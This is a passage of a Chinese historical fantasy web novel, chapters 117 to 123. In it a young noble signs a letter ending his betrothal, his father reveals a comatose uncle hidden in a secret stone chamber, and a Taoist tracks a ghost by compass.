任风玦如实道:“其实儿子早在几天前就确认了穆铮之女的**,只是京中接连发生了那么多桩诡案,我才将此事暂且搁置。”
“本以为,只要找个人暗中盯着穆汀汀,就掀不起风浪…”
“终究还是…轻敌了。”
他不敢想,若是今晚之事,连累了整个侯府,后果该如何…
荣氏拍了拍他的手,又摇了摇头:“你以国事为先,能为君分忧,这当然是好事。”
“千万不必自责,否则,我只怕也要为了这事去菩萨跟前,忏悔几天几夜才好。”
“事情既已过去,今夜过后,就不提了。”
此时已近子夜,更深露重。
任风玦解下外袍,就要往荣氏的肩上披,却听她转开了话题,问道:“对于退婚之事,你心中可有想法?”
这话让任风玦手上又是一顿,他有些不自然地说道:“儿子的想法,母亲又不是不知道…”
哪知荣氏话里有话:“以前知道,现在可未必…”
“……”
“你看熙墨的眼神,与看穆铮之女,太不一样。”
“……”
“态度尚且可以骗人,但眼神可骗不了。”
任风玦皱了一下眉头,隐隐不悦:“母亲为何要拿穆汀汀出来比?”
荣氏一副看穿他心事的样子,应道:
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“确实不该拿她与你的心上人比。”
“……”
任风玦板起脸,索性沉默。
见此,荣氏又是莞尔一笑,“你现在不承认也无妨,或许连你自己都尚未认识到自己的心意。”
“不过感情之事,向来便是如此微妙,不然世间也不会有那么多的痴男怨女,爱恨情缠。”
“为娘也想好了,若是明日熙墨还是执意退婚,我便应承了此事,收她为义女。”
听到这里,任风玦微挑了一下眉头。
他母亲则继续说道:“这样一来,就算她与仁宣侯府没有婚约,也算是侯府的人。”
“有侯府给她撑腰,谁也不敢欺她孤苦伶仃…”
“母亲。”
任风玦只觉得心里隐隐有蚂蚁在爬,他道:“收义女之事,儿子觉得不妥…”
荣氏不解:“为何不妥?”
“…以儿子对夏姑娘的了解,她可未必会领这份情,况且,她还有护国大将军之女的身份在,谁敢欺她?”
荣氏却斜睨了他一眼,“你对她还挺了解?”
任风玦顿时噎住,他还想再说些什么,却被打断了。
“此事明日再议吧,你那点心思为娘的难道不知道?”
“……”
此时已走到了东苑门口,荣氏将肩上袍子递还给他,又挥挥手,“你也早些休息,明日到东苑来,一起用朝食。”
任风玦只觉得有很多话想说,可到了嘴边,也只剩了一个字:“是。”
直至荣氏身影进了正屋,他才挪动脚步,慢慢往南苑走去。
夜风泠泠,却吹得他心绪如潮。
这一夜,注定难眠。
翌日清晨,不等小厮来唤,任风玦就直接往东苑去了。
早膳还是布在东暖阁,去时,夏熙墨正在吃着一碗燕窝粥。
她不拘谨,也不客气,偏偏这样的脾性,最是受荣氏喜欢。
没过一会儿,任瑄也到了,荣氏只吩咐容舒给他父子俩添粥布菜,自己却在亲自照顾着夏熙墨,可谓无比贴心。
待吃完朝食过后,夏熙墨放下勺子看向了任风玦,直接问道:“退婚书,打算何时写?”
第118章 遗憾
东暖阁内,除容舒之外,嬷嬷婢女们听了“退婚书”三个字,都不约而同抬起头来相视一眼。
个个脸上都有诧异之色。
见状,容舒便悄悄将底下的人都遣散了出去,并顺带合上阁门。
任风玦知道这事拖到现在,也该有个结果。
但他还是看向了任瑄:“父亲,此事你可应承?”
任瑄沉吟了一声,才道:“昨夜为父想了一宿,觉得你曾经的说法很对,这‘指腹为婚’之事,确实有失公允。”
“既…是熙墨不想嫁你,为父无话可说。”
任风玦只觉得这话听着很怪,却也说不出是哪里的问题。
他又看向了荣氏:“母亲以为如何?”
荣氏倒是轻叹了口气,这才说道:“熙墨这孩子的性子率直,我是真喜欢,但婚姻之事,确实不可强人所难,是以,为娘亦无话可说。”
“……”
听到这里,任风玦才知道哪里不对了。
明明这些话都是他曾经说过的,现在倒从他们口中出来了。
原来,不是道理讲不通,而是在他这里“不通”。
他默了默,又看了对面的夏熙墨一眼,嘴角轻轻抽动了一下。
“既如此,这退婚书……”
“现在就写。”
夏熙墨起身,直接从旁边的案上拿来早先让容舒备的笔墨与纸。
一并递到了任风玦的跟前。
望着这些东西,他的心情有些许复杂。
但在三双眼睛的注视之下,还是缓缓提了笔。
退婚书并非休书,可意简言赅,几字道明。
任风玦平日没少拿笔,却从未似此刻这般“词穷”。
憋了好一会儿,才算将这历时了十六年之久的婚约,画上了句号。
落款署名时,心底竟掠过一丝淡淡的遗憾…
“夏姑娘。”
任风玦将白纸黑字的文书递了过去。
夏熙墨伸手接过时,却破天荒对他说了两个字:“多谢。”
这应该是他第一次从她口中听到这两个字。
没想到,却是在这种场合之下。
“不必言谢。”
任风玦压着心里头那股难以言明的情绪,故作轻松地向她说道:“夏姑娘日后有任何需要我,抑或是需要侯府的地方,直接言明就好。”
“嗯。”
在拿到“退婚书”的那一刻,夏熙墨立即就感受到了身体的“实感”。
那种感觉,能让双脚踩在地上更加真实,四肢百骸也在瞬间恢复了暖意。
耳目澄澈,灵台清明。
让身体的感触,与心绪的变化,都变得更加灵敏。
魂体相融之后,竟是这样的感觉。
无忧也忍不住在灯里为她高兴,“真好啊,完成‘夏熙墨’的遗愿,你现在算是彻底获得这具身体了。”
这也相当于,从此刻起,她才算是完整拥有这具身体。
虽然退了婚事,荣氏还是想留夏熙墨在府上多待一会儿。
而任风玦想到颜正初与余琅还在府上,便去北苑客房找他们。
余少卿正因昨晚被鬼物煞气入侵后处于昏死状态,错过了在幻境之中的经过而懊恼。
但在见到任大人的那刻,却发现对方看起来竟比自己还要失意。
他又一下子来了兴趣,说道:“任大人早上是不是又跟夏姑娘闹别扭了?”
任风玦听他用的是“又”字,不禁轻皱了一下眉头。
“你这话说的,我好似常常与她闹别扭。”
余琅笑道:“倒也不算是常常,上回见,还是得知郑道远死讯的那个早上。”
他记得一清二楚。
让任风玦都忍不住细想了一下。
但他很快反应过来,“哪有的事?简直一派胡言。”
余琅却振振有辞:“我可没有胡说,关跃都看出来了。”
“……”
“不过今日又是什么事?”
任风玦睃了他一眼,根本不想提此事,只问;“颜道长去哪儿了?怎不见他在客房?”
余琅回道:“听他说,想去湖那边走走。”
湖?
任风玦立即想到了南川院。
料想他真正想要看的地方,应该是那里。
思及此,他忽然想到,昨夜那个鬼物,所提到的“剑”。
颜正初会不会知道一些?
思忖间,倒将暂时无处排解的烦闷,给暂时抛掷脑后了。
任风玦打算也去南川院看看,余琅
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见状,连忙尾随其后。
二人来到后苑听雪湖时,湖边并不见颜正初的身影。
与任风玦预测之中一样。
此刻的颜道长正站在南川院门前发呆,却没有进去。
可即便不进去,他也能感受到小师叔任曜的气息。
想到曾经的云鹤山,在日渐式微之时,因出了任曜这样一位惊才绝艳的人物,才重新被世人想起…
而随着他“消失”,云鹤山又沉寂了。
颜正初在南川院前站了许久,直到任风玦与余琅到来,才让他慢慢回神。
“颜道长,一起进去看看吧。”
任风玦如同看穿了他的心思一般,什么也不问,径自走在了前面。
晨时,阿冬来找过他,说昨夜见一名陌生女子从北苑出来,他一路跟随至此,却突然没了踪迹。
根据他的描述,这个人,很有可能是白掌柜。
她来此,有没有可能也是为了小叔的剑?
颜正初原本不敢进入。
但转念一想,反正侯府也进了,侯爷也见了,又何妨再多一个南川院?
还是回去一并向师父请罪吧。
任风玦推开院门,一切都与他记忆中一样,没有丝毫的改变。
十几年过去了。
侯府历经岁月,也进行了几次修葺。
侯爷老了,他也长大了。
唯有这南川院“十年如一日”。
尾随其后的颜正初与余琅对这满屋子“似法器又似玩具”的东西,一阵赞叹。
到底是怎样的脑子,才能想出这样精妙的设计?
颜正初对每一件法器都如获至宝,“妙啊…”
任风玦笑着看他:“道长若是喜欢的话,不妨选两件称手的去用…”
“当真?”
颜正初眼睛都亮了,他看上了一枚精致小巧的八卦玉葫芦,想去拿,又顿住:“算了,若是拿了,回去只怕被骂得更凶。”
任风玦却直接将玉葫芦塞给他,“这些东西留在这里,也是‘明珠蒙尘’,倒不如赠予道长,还能物尽其用。”
听了这话,颜正初才高高兴兴将东西收了。
趁此,任风玦却问了一句:“道长你可知,我小叔是不是有一把剑?”
第119章 侯爷
颜正初几乎脱口而出:“云鹤山弟子,人人都有剑。”
说完,他才意识到任风玦这小子要套自己的话。
他又闷哼一声:“你问这个干什么?”
任风玦只知道小叔与云鹤山颇有渊源,却并不知道是怎样的“渊源”。
他知道颜正初想隐瞒,而为了不让他隐瞒,他如实说道:“昨夜在那幻境之中,里面的鬼物,向我问了小叔的‘剑’。”
“他们似乎在找这样东西…”
说着,故意指向一旁挂在墙壁上的桃木及金钱剑问道:“可是这两样?”
颜正初还在为自己刚刚的失言而感到懊恼。
但对于这事,他也确实不能坐视不理。
略一思索,他换了一种方式说道:“这些确实可以用来降鬼驱邪,但谁用都可以。”
“那鬼物要找的,必然是只有你小叔才能用的。”
任风玦仔细回想了一下。
小叔身上有佩剑吗?
好像也没有。
他总是一身宽袍广袖,无拘无束,尤其爱酒。
何曾见过他身上有佩戴过宝剑?
“我不记得小叔身上有这样东西…”
颜正初深深看了他一眼,却不回话了。
任风玦也沉默了一下,又问:“道长身上的那把玉剑,应该只为自己所用吧?”
颜正初也不瞒他:“我修**道法之时,师父便赐了这把剑,这么多年来,并未离身…”
“所以,我小叔也有一把这样的剑?”
颜正初深深叹了口气,却道:“小侯爷,实话与你说吧,关于你小叔的事,还是别问我了,我其实…也与你一样想知道。”
“我所知道的那些,肯定不及你父亲知道得多。”
“这事还不如直接去问他…”
听他这么说,任风玦再次陷入沉默。
他太清楚父亲的脾性,若非主动开口,不然怎么问都没用。
正思忖间,一名小厮跑到了南川院外,向内通报道:“公子,侯爷吩咐,请您还有这位道长,一起前往书房。”
任风玦有些诧异,问:“他要见这位道长?”
颜正初立即慌得不行,“侯爷突然要见我做什么呀?我不去!”
抓住这样的机会,任风玦哪里肯放过,故意吓道:“我父亲可不似我这般好脾气,你要是不去的话,一会儿来的可就是护院了。”
颜正初推托道:“我师父叮嘱过…”
话没说完,就被任风玦拉着往外走,“你师父不让你进侯府,你也进了,既如此,索性将事情弄清楚。”
余琅见状,忍不住向那小厮问:“侯爷就没请我吗?”
小厮客气应道:“侯爷说了,余公子请自便。”
“……”
余少卿隐隐不高兴了,冲着任风玦背影喊道:“大人,这里面的东西,我也可以拿一件吗?”
——
仁宣侯书房,名为“静观堂”。
颜正初被任风玦半推半就进了堂内,抬眼望去,只见任瑄端坐在书案前,不怒自威。
他又不情不愿地上前去,以道人的身份,行了一个抱拳礼。
“见过侯爷。”
任瑄用鼻子闷哼了一声,却道:“你这云鹤山小道士,架子还挺大,昨晚为何避着本侯不见啊?”
颜正初听他已知晓了自己身份,只好解释道;“都是家师下山前的嘱咐,不敢违背…”
“哦?”任瑄故作惊讶,“你师父是谁?又为何那样命令你?”
颜正初如实答:“我师父是云鹤山掌门——天机**。”
任瑄会心一笑,问:“那你叫什么?”
“小道姓颜,名唤正初。”
听完这个名字,仁宣侯似乎在心里思索了一下,才道:“我见过你,你是那帮孩子当中,最大的那个。”
“……”
闻言,不止颜正初,就连任风玦也惊了惊。
父亲居然见过颜正初?
那他也曾去过云鹤山?
“父亲…”
任瑄看了儿子一眼,道:“上回你在听雪湖前跟我说的话,我还记得。”
“这么多年过去了,也确实应该给你一个交代。”
任风玦不由自主攥紧了手指。
一旁颜正初更是话都不敢说。
“走吧,去见你们的小叔和小师叔。”
这话让任风玦不由自主向颜
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正初看了一眼:“小师叔?”
颜正初索性承认:“你的小叔,正是我的小师叔…”
“……”
但很快,二人又同时反应过来。
“父亲!小叔还活着吗?”
任瑄不语,而是站起身来,径自向“静观堂”后的小花园内走去。
任风玦与颜正初立即跟了上去。
二人跟随在任瑄身后,快步穿过小花园,来到一处嶙峋奇特的假山前。
只见任瑄用掌心压住其中一块凸起的石头,轻轻一推,两座主峰便向两侧平移,露出了一条向下的阶梯。
任风玦从来不知,侯府中竟还有这样一座地方。
颜正初却盯着假山上的石头看了半天。
若他没有猜错的话,这应该是用石头摆出来的一套阵法,但只能起到隔绝外界的遮蔽作用。
顺着阶梯向下,又有一道石门,任瑄用同样的方法开了门。
接着,映入二人眼帘的,是一间宽阔的石室。
但室内,却只有一张床。
床上躺着一人。
远远望去,任风玦与颜正初均愣在原地,踯躅不前。
这一刻,他们心里已经大概有了答案。
任瑄道:“去看看吧。”
任风玦心中不知作何滋味,迈着略显沉重的步伐,向着床上的人靠近。
而离得近了,那人的面容随之明晰。
与记忆之中,几乎一模一样。
小叔没有变老。
此刻的他,宛如熟睡一般。
“父亲,小叔他…还活着?”
任瑄的神情看起来也有些复杂,他道:“看似活着,却与**没什么区别,活**罢了。”
“怎么会这样?”
任风玦上前握住了小叔的手。
一片冰冷,根本没有活人的温度。
既没有脉搏跳动,亦没有鼻息,确实与**无甚区别。
但他却已在这里躺了足足十五年。
任瑄喟叹一声,说道:“将他安置在这里,也是他自己的意思。”
“他也交代过,等到有一天,非要向你交代不可时,再将你带到此处来。”
“并将实情,一并告知。”
第120章 往事
在两位年轻人殷切的目光注视之下,任瑄说起了一段往事。
十五年前的那个深秋,是他第一次去云鹤山。
为示诚心,他只身一人,没有带任何护卫与奴仆。
那地方离京甚远,走陆路,用最好的马,不停不歇,抵达山下时,也要五天五夜。
后面的山路则十分陡峭,需用上半天时间,才能爬上山顶。
去时,只见漫山的枫叶。
他看到任曜正在树下,与七八个小道童玩耍。
其中,最大的那个,应该也就比自家儿子大个两三岁。
剩下那帮小的,却只有两三岁的样子。
任曜见了兄长来,便对那大孩子说道:“小初,带师弟们玩。”
大孩子应了一声,领着一群小孩就走了。
任瑄忍不住问:“这云鹤山为何有那么多孩子?”
任曜笑道:“大多都是这些年,我在各地云游时捡回来的弃婴。”
“……”
任瑄这才明白了过来。
自家弟弟这些年,云游在外,却时常用各种理由向他借钱,甚至还顶着他的名义,去钱庄里拿钱。
明明他自己总是“一身褴褛”,连件像样的衣服都没有。
原来,钱都花在了这里。
他一时也不知该说些什么好。
任曜却挨过来,一手揽住兄长的脖子,如同幼时那般,没个正形。
“兄长千里迢迢过来,应该不是为了问我的罪吧?”
“上次在汇通钱庄‘赊’的那笔钱,是准备拿来给这些孩子裁些冬衣的。”
任瑄本想质问他,那是“赊账”吗?
明明是直接搬出仁宣侯府,恐吓别人。
但想到刚刚那个大孩子,身上一件旧袄子已打了无数补丁,只怕再冷些也不能穿了。
他只能闷哼一声,“看在你是做正事的份上,姑且饶你了这回。”
任曜却收敛起笑意,问道:“冬郎最近如何了?”
说到儿子,任瑄面色立即沉了起来。
“你给的那些方法,确实能起到一些作用,但终究治根不治本,我怕…这孩子…”
任曜立即打断了他,“我师父这两日就能出关了,待他出关,我们一同去求求他。”
在山上住了两天。
第三日黄昏,任曜的师父凌虚**才出关来,得知有人求见,他却不见,只将任曜喊去房里。
任瑄焦急在外等待。
等了将近两个时辰,弟弟才从里面出来。
“阿曜,**他怎么说?他可还愿意见我?”
任曜却坦然一笑,告诉他:“师父已将救冬郎的方法告诉我了,明日一早,我便与你下山去。”
任瑄那颗悬着的心,总算安定了下来。
他想问弟弟,究竟是用什么方法。
任曜却一脸神秘:“这个乃云鹤山秘术,不可泄露。”
翌日清晨,任瑄醒来后,就听到一众孩子的哭声。
得知小师叔要走,小道童们合力将任曜拦了下来。
那个大孩子哭得最凶:“小师叔,你走了以后再也没人给我带好吃的,做好玩的了。”
任曜拍了拍他的脸,喊他全名:“颜正初,师弟们都没你哭得厉害,枉你还是师兄呢?”
大孩子将满是鼻涕眼泪的脸,直接埋进了任曜的怀里:“小师叔,我舍不得你,你说过要教我捉鬼的。”
“等师叔下山后,你师父就会教你。”
“我要师叔教,师父总是凶巴巴的。”
任曜直接用袖子给他擦脸,丝毫不嫌弃他,“好了,跟着你师父,好好学道术,日后光复云鹤山,可就靠你了。”
在一众孩子哭哭啼啼声中,任曜还是跟着任瑄下了山。
那天的枫叶像是要染红半片天。
走了好远的路,任瑄回头,依然能看见那一抹红。
同时,还是自家弟弟微红的眼眶。
看得出,他也舍不得那帮孩子。
任瑄笑他:“以前让你找门亲事成亲,你却要跑到这山上学法术捉鬼。”
“现在好了啊,给一帮小道士当爹了?”
任曜笑了笑,那笑容之中,却有几分清苦。
“云鹤山近几十年来,弟子已越来越少,现在连山脚下那间小道观都比不过。”
“这帮孩子想要吃饱穿暖,也是极其不容易的事。”
“还希望兄长日后,能多多扶持。”
任瑄冷哼一声,说道:“等治好冬郎再说吧。”
他们一路策马回京。
才到侯府门前,便有仆人急忙扑上来
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:“侯爷,侯爷…公子他,不好了。”
任瑄急忙翻身下马,因走得太急,险些在台阶处摔倒。
还是身后的任曜及时扶了他一把。
“兄长不必过于忧心,有我在。”
那天的仁宣侯府煞气冲天,也不知何故,几乎全京城的孤魂野鬼都涌了上来。
任曜当即祭出玉剑,震在了南苑庭中,这才阻止了那些阴魂入侵。
可室内孩子,却被一股怪异的阴煞之气入体,随时都有性命之忧。
他惨白的小脸泛着诡异的青色,紧紧抓住了小叔的手:“小叔,有鬼要杀我,我好难受!你救救我!”
侯夫人荣氏在旁哭得不能自已,想要上前,却被任曜拦住了。
“兄长,你带阿嫂出去,这里交给我。”
任瑄心里也焦急,却也只能选择相信弟弟,他将妻子拉出房间:“阿曜,你小心点。”
外面阴风阵阵,吹得窗棂不停震动,犹如无数双鬼手在叩着房门。
他听见室内的任曜高喊了一声:“有我任曜在,你这孽障,休想伤我侄儿!”
跟着,整个侯府都陷入了黑暗之中。
任瑄紧紧抱着妻子,望着浓墨一般的天幕,大气也不敢喘。
也不知过了多久,任曜那把祭在空中的白玉剑,发出了玉鸣之声,莹白光束,冲破了侯府上方的黑云。
这时,阴风停了,黑云散了,天又亮了起来。
而那把玉剑,又如同得到召唤一般,飞向室内。
任瑄连忙跑到门前,问了一句:“阿曜,里面怎么样?”
过了一会儿,才传来任曜的声音,听起来无比虚弱。
“兄长,你先听我说…”
任瑄一听就知道不对劲,他急忙推门,却发现房门无论如何,也开不了。
“阿曜,到底发生什么事了?”
室内的任曜则轻轻叹了口气,这才说道:“兄长,我想…我得歇一会儿了。”
“等下你进来,便将我安置在你书房后园的假山密室里吧。”
“冬郎醒后,侯府内尽量不要再提起我…”
“等他长大后,哪天你瞒不住了,再酌情将此事告诉他…”
“还有…云鹤山那帮小道士,就拜托兄长…多多照拂了。”
第121章 懊悔
任瑄讲到这里时,颜正初已眼眶通红,他一时也顾不及仁宣侯的身份,指着对方便恨恨说道:“原来,你就是当年那个带走小师叔的人!”
“小师叔走后,就再也没有回来过了!”
“已经十五年了,原来是这样…”
他在任曜身旁跪了下来,慢慢说道:“那之后,小师叔没再回来过,但几乎每过三个月,都有物资及钱粮送到云鹤山。”
“起初,我以为是小师叔托人送的,便疑惑,他为何迟迟不归。”
“一年,两年,三年,五年,我与师弟们慢慢长大了,我才意识到,师叔若是无恙的话,又怎会舍得不来看我们…”
“我的心里有很多猜测,便去问师父,师父生气了,不准我再询问小师叔的下落…”
想到这些年心里所承受的思念与苦楚,颜正初又瞬间变回了当年那个“大孩子”,眼泪如何也止不住。
任瑄没有回话。
他的心里何尝不后悔呢?
若是当初没有去那趟云鹤山,没有让任曜跟着自己一起回京,或许他还是逍遥自在,行走在这天地之中。
任风玦的心里亦不知作何感想…
他终于明白,为何在那晚之后,父亲再听到自己提及小叔时,便十分生气。
原来,小叔是为了救自己,才这样。
偏偏对于那段记忆,他竟一点印象都没有…
是因为太小而记不住吗?
也不对。
他那时大概六岁,比这更小的事情也都记得一些。
唯独对这些“诡事”一无所知。
“父亲。”
任风玦下意识看了父亲一眼,问道:“我小时候究竟得的什么病?”
任瑄犹豫了一下才道:“你小叔曾经替你算过,说你生来便少一魄,这种体质,极易容易吸引邪祟。”
“你还未满月时,就被鬼缠,还险些丧命…”
听了这话,颜正初才收了收眼泪,疑惑地看了任风玦一眼,说道:“可我看小侯爷分明是纯阳之体,鬼见了都怕,根本不像是缺魂少魄的样子…”
任瑄从头解释:“大概从你满月时起,阿曜就开始在南苑布下法阵,为阻止那些孤魂野鬼入内伤害到你。”
“但不知为何,这些法阵隔一段时间就会被破坏…”
“为了找出背后因由,你小叔在南苑守了七天七夜,这才发现,原来每晚子时一过,阴气最重时,就会有一群阴魂,在一股来历不明的煞气影响之下,前来冲毁阵法。”
“最多只需要七天,阵法便会被冲破…”
“为此,你小叔只得加固符咒,渐渐倒也能管上十天半个月。”
“最后,还是你小叔,向他师父凌虚**,求了一件法器,**在床边,再次布下阵法,那些鬼魂才渐渐消停下来。”
听到来历不明的‘煞气’,任风玦心下一凛,不由得想到这些时日的经历。
从孟志远之案开始,到后面的红袖楼、赋楼、甚至东宫内的前朝太子。
似乎这些案子背后,都脱不开那股怪异的“阴煞之气”。
现下再听父亲描述,原来在自己幼时,此物竟已经出现过…
任瑄接着说道:“虽是如此,我的心里总也不踏实,总提心吊胆,生怕哪一天醒来,那法阵又被冲破,那法器也护不了你。”
“所以,我便与你小叔商量,想去一趟云鹤山,求凌虚**出面,彻底解决此事。”
“而后面所发生的事情,便就是先前与你们讲过的了…”
颜正初则推测道:“也就是从那日起,小侯爷便平安无事,再也没有被鬼缠过?”
“是。”
任瑄痛心道:“我虽不知,那日房中具体发生过什么,但我儿能安然活到今日,都是阿曜拿命换下的。”
此言一出,任风玦与颜正初都陷入了沉默之中。
这里面的疑点太多了。
任曜成了活**。
时隔十五年后,竟有鬼物潜入侯府内,想要得到他的“剑”。
这时,两人也是不约而同开口了,“那…那把剑呢?”
这个问题让任瑄微愣了一下。
“什么剑?”
颜正初道:“就是小师叔的那把玉剑,您方才说,它飞**内,之后又去了哪儿?”
任瑄摇了摇头:“待
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我能推开房门进去时,便只见阿曜躺在地上,并未再见到那把剑。”
“……”
竟就这样无端端消失了?
任风玦与颜正初相视了一眼,各自都能从对方的眼神之中,读到猜疑与惶惑。
此事显然成了谜题。
任曜已成活**,躺了十五年,能够醒来告诉他们真相的机会十分渺小。
而当时场内,作为唯一的目击者,任风玦根本没有这段记忆。
难道线索断在这里,就再也无解了吗?
任瑄望向那暖玉床上的任曜,依然觉得痛心,接着,他又向任风玦道:“昨夜侯府发生这样的怪事,我就知道,此事必须要与你交代不可了。”
“这么多年来,不跟你提小叔的事,一半是因为他的嘱咐,一半是因为…悔恨自己当日的选择。”
他又看了颜正初一眼,“若是当日我没有去那趟云鹤山,你小师叔应该还好端端活着。”
颜正初吸了一下鼻子,平复思绪,才道:“侯爷,就算您当日没有去云鹤山,以小师叔的性子,对于没有血缘关系的弃婴孤儿,他尚且能做到毫无保留,又更何况,是自己的亲侄子呢?”
这话确实没错。
任风玦却向颜正初问道:“道长,小叔躺在这里这么久,虽没有生命体征,身体却这般栩栩如生,是否还有醒来的可能?”
这问题,颜正初当然答不上来。
任瑄却道:“其实发生这件事情过后,我后面又去了一趟云鹤山,想再问问凌虚**,当日,他告知给阿曜救人的方法究竟是什么…”
“可惜,等我再赶到云鹤山时,却得知他已仙去…”
他又向颜正初道:“我本想再拜见了一下当时的掌门,也就是你的师父,他却对我避而不见。”
颜正初道:“那次过后,师父便不愿在山上提起师叔了…”
一旁任风玦看了任曜一眼,心里却萌生了一个迫切的想法:“若这世上有一丝希望可以一试,我都不愿放弃。”
颜正初微微一惊:“你该不会想?”
“或许,得去一趟云鹤山,求见天机**。”
第122章 好人
从“静观堂”出来时,恰见荣氏与夏熙墨迎面走来。
而从侯夫人面上的神情可以看得出,应该是夏熙墨提出要离府了。
“这孩子,才住了一晚,就真不能再多陪我两天吗?”
荣氏语气里虽有嗔怪之意,但眼里的不舍之情,根本藏不住。
而夏熙墨虽不喜与人过多接触,对于她,却是很有耐心。
“我还有其他的事情要做,不能继续耽搁。”
这话已经不厌其烦说了好些遍。
荣氏无奈叹了口气。
她拉着夏熙墨走到任瑄面前,竟直接忽略了他身旁的任风玦与颜正初,说道:“她这性子,简直跟阿微一模一样,既然留不住,也只能放她走了。”
任瑄见夫人提及昔日闺中好友时,便要忍不住眼泪,当即哄道:“好啦,我看熙墨这孩子的性子,若是拘于后宅,倒是委屈了她,她想出去走走,就应该让她多开开眼界。”
他说着,不由自主想到了自己的弟弟。
阿曜,又何尝不是如此呢?
“来人,让杨敬挑二十名得力护院出来。”
“再去问问任荣回来没,让他即刻备四辆四架马车,挂上我仁宣侯府的牌子。”
“另外再备一千两现银,五百两黄金,还有各钱庄的票据…”
“夫人,还有衣裳首饰那些……”
这话让颜正初听得一边暗自咂舌,一边忍不住伸手悄悄换算。
那得是多少钱啊?
怎料夏熙墨却开口道:“不用那么多。”
“一辆马车就够。”
她又看了任风玦一眼,问他:“离京后,一百两银子能用多久?”
这问题又把任风玦给难住了。
见他答不上来,颜正初忍不住开了口:“得看怎么花了,出了皇城,物价会稍微低一点。”
他又扳着掰着手指头侃侃而谈:“住客栈,普通客房一晚上不到一百铜钱,中等客房需再加一百文,而上等客房可能要去到一千文以上。”
“吃饭呢,也要看吃什么,一个馒头配点咸菜两个铜板,一碗阳春面十个铜板,若是吃饭吃菜,差不多得十到十五个铜板,再加上肉的话,起码要三十个…”
“当然,这些都是普通客栈的价格,要是去贵一些的地方,一百两都不够花一晚上。”
听他说得头头是道,众人却面色各异。
他就知道,跟这些个富贵人家,根本说不明白!
夏熙墨却问他:“就按照你说的来,一百两能花多久?”
“最多半年,最少三五个月。”
听了颜正初的话,夏熙墨似乎思考了一下,才对任风玦说道:“那你给的一百两也够了。”
任风玦这才从怔忡之中回过神来,问她:“夏姑娘是打算即刻出京城?”
夏熙墨回道:“等找到赋楼另外一只鬼物,就会出京去。”
任风玦却道:“那看来,我们或许要同路了。”
此言一出,余下三人皆不约而同看向了他。
而颜正初的眼神分明在说——不是刚刚才说要去云鹤山?这么快就改变主意了?
任风玦则向他说道:“麻烦颜道长先用‘觅魂术’找一下那鬼物的踪迹?”
“咳…”
颜正初正要趁机提钱。
哪知任风玦竟是十分自觉:“两锭金子。”
颜正初立即眉开眼笑:“此事好说。”
一旁侯夫人听了他们之间的话,不免隐隐担忧起来,任瑄却悄悄揽住她的肩膀,悄声道:“我已将阿曜的事情都告诉他了。”
听侯爷这么说,荣氏心里也就明白了。
以任风玦的性格,不知则已,一旦知晓了,又怎会什么也不做?
“父亲,母亲。”
任风玦又走到父母跟前,说道:“夏姑娘出京的事,便交由给儿子来安排吧。”
任瑄与荣氏皆能看出来,儿子对夏熙墨“有心”,虽说二人婚约已除,却也希望他们能多多培养感情,即便是以兄妹的方式相处也好。
他们相视一眼后,也就点头同意了。
因夏熙墨不肯要衣裳首饰,出侯府时,荣氏便将手里一只彩翡镯子硬塞给了她,算是留个念想。
这次一同回任宅的路
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上,颜正初非常自觉坐上了余琅的马车。
而夏熙墨则与任风玦同乘。
路上,任风玦想到写退婚书时情形,心下还是会有一丝触动。
而再联想到荣氏所说的“收义女”之事,他还是憋不住问道:“我母亲…可与你说过什么事?”
夏熙墨:“说了很多。”
但大多说的,都是昔日她与夏熙墨母亲的一些事情。
任风玦心下莫名有些忐忑,斟酌着问:“她可有提…收义女之事?”
夏熙墨薄唇轻启:“没有。”
“那就好…”
他几乎松了一口气,也不知道自己为何会对这样的事情上心…
夏熙墨奇怪地看了他一眼,却一句话也没有多问。
回到任宅,由于他们一夜未归,宅内人正忧心忡忡,一宿没睡好觉。
夏熙墨得了退婚书,就知道自己离开任宅的时候到了。
于是,她将天青喊到房间内,直接说了此事。
天青原本满脸堆着笑意,在得知夏熙墨要离开,笑容立即僵住。
她知道,夏熙墨一旦离开任宅,自己也是要回侯府去的。
想到这里时,不免悲从中来,眼泪也夺眶而出。
望着她哭得如此伤心,夏熙墨不解又无措。
天青则哽咽道:“小姐,你待我那么好,我舍不得你,我不想回侯府,我想跟你一起走。”
夏熙墨道:“侯府至少不缺吃穿,你可以过衣食无忧的日子,跟我有什么好?”
天青继续抽噎着:“虽然我伺候小姐的时间不长,但我知道,小姐是个好人,也是真心待我好…”
“…好吗?”
“好人”这个词,于她而言,可真陌生。
残缺的生前记忆里,他们好像都喊她——女魔头。
死后被打入九幽,也是因一句“罪大恶极”。
再多的已经想不起了。
但她知道,自己可绝非什么好人。
夏熙墨依然面无表情,眸光却闪烁了一下,她道:“别说傻话,我没有你想得那么好,好好留在京城,过你该过的好日子。”
第123章 客栈
当天夜里,颜正初就用“觅魂术”开始寻找白轻霜的踪迹。
只是,比起另一只恶鬼,她显然狡诈得多。
看罗盘上的行踪,她已绕着整个上京游了一周,位置一直飘忽不定,像是有意在跟他们周旋。
“这恶鬼…分明是在戏耍于我。”
颜正初望着不断转换的指针,隐隐眼花头疼。
余琅则在一旁看得聚精会神,忍不住问他:“道长究竟是根据什么来找那恶鬼踪迹的?”
“嗯…”
颜正初沉吟一番,尽量以最浅显易懂的方式来解答:“是取它身上的鬼气,再结合这五行八卦之术。”
昨晚,他与白轻霜交手时,留了一点心眼,取了她一根头发,收入罗盘之中。
头发入盘,化作鬼气,再启动这“觅魂咒”,就能在罗盘上,分辨出鬼物出现过的踪迹。
余琅有些跃跃欲试,问道:“这罗盘上有‘鬼气’吗?我要如何才能看见?”
颜正初一笑,虚空比画了一番,直接点在他的左眼。
“捂住你的右眼,看吧。”
余琅依言按住自己的右眼,再用左眼去看,果见那罗盘之上,盘旋着一团白色烟雾。
他看得啧啧称奇,忽听见室外传来脚步声,又当即回头看了一眼。
只一眼,吓得他立即心肝一颤。
只见夏熙墨走在院子内,头顶上竟漂浮着一团白色影子。
他大叫:“道长,有鬼!”
颜正初回头看了一眼,见是夏熙墨,心里立即有了底。
他当然知道,夏熙墨的身畔,会时不时跟着一缕没有形态的阴魂。
但这缕魂,十分纯净,比他见过的任何一缕阴魂,都要纯净。
见它无任何加害人之心,他也就放任不理了。
“哪儿来的鬼,那是夏姑娘…”
颜正初故意这么说。
余琅又瞪大眼睛四下看了一眼,夏熙墨已冷脸进了室内,轻轻瞥他。
那眼神,可比鬼还可怕。
他打了个寒噤,本想说自己刚刚看见了一团白影,想想还是将话咽了回去。
夏熙墨也没理他,径自向颜正初问了一句:“道士,有结果没?”
